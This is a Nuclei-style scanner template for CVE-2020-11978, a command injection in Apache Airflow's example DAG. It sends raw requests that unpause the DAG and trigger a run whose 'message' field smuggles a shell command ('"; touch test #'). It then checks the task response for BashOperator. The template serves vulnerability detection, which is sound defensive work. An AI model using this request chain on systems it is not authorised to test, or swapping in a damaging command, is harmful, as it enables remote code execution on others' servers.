id: CVE-2020-11978 info: name: Apache Airflow <= 1.10.10 - 'Example Dag' Remote Code Execution author: pdteam severity: high description: An issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable. reference: | - https://github.com/pberba/CVE-2020-11978 - https://nvd.nist.gov/vuln/detail/CVE-2020-11978 - https://twitter.com/wugeej/status/1400336603604668418 tags: cve,cve2020,apache,airflow,rce requests: - raw: - | GET /api/experimental/test HTTP/1.1 Host: {{Hostname}} Connection: close Accept-Encoding: gzip, deflate Accept: */* - | GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1 Host: {{Hostname}} Connection: close Accept-Encoding: gzip, deflate Accept: */* - | POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1 Host: {{Hostname}} Connection: close Accept-Encoding: gzip, deflate Accept: */* Content-Length: 85 Content-Type: application/json {"conf": {"message": "\"; touch test #"}} - | GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1 Host: {{Hostname}} Connection: close Accept-Encoding: gzip, deflate Accept: */* extractors: - type: regex name: exec_date part: body group: 1 internal: true regex: - '"execution_date":"([0-9-A-Z:+]+)"' req-condition: true matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_4, "operator":"BashOperator")' - 'contains(all_headers_4, "application/json")' condition: and